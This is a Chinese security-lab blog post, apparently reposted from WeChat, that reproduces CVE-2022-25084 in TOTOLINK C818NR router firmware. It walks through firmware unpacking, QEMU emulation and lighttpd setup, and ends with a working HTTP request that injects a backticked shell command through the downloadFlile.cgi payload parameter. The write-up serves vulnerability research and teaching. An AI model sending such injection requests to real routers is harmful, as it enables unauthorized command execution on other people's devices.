星期五实验室
复现环境
https://www.totolink.net/data/upload/20190823/7709dc2d95f5da71d8af89f5921f5ffb.zip
固件解包
binwalk -Me TOTOLINK_C818NR_T6_IP04338_8197FN_SPI_16M128M_V5.9c.4085_B20190428_ALL.web
qemu环境搭建
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
#!/bin/shsudo brctl addbr virbr2sudo ifconfig virbr2 192.168.6.1/24 upsudo tunctl -t tap2sudo ifconfig tap2 192.168.6.11/24 upsudo brctl addif virbr2 tap2qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic
chmod +x ./init.shsudo ./init.sh
ifconfig eth0 192.168.6.12 upping 192.168.6.11
为了之后环境运行不缺失文件，这里插入一段给系统文件添加环境的步骤：
在主机执行
mkdir ./squashfs-root/var/runtouch ./squashfs-root/var/run/lighttpd.pid
scp -r squashfs-root/ root@192.168.6.12:/root/拷贝完就能在虚拟机里看到文件了
chroot squashfs-root/ sh./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib
漏洞复现
GET /cgi-bin/downloadFlile.cgi?payload=`ls>../cmd.txt` HTTP/1.1Host: 192.168.6.12User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
FRIDAY LAB
扫二维码｜关注我们
星期五实验室
FRIDAY LAB
原文始发于微信公众号（星期五实验室）：TOTOLink CVE-2022-25084复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论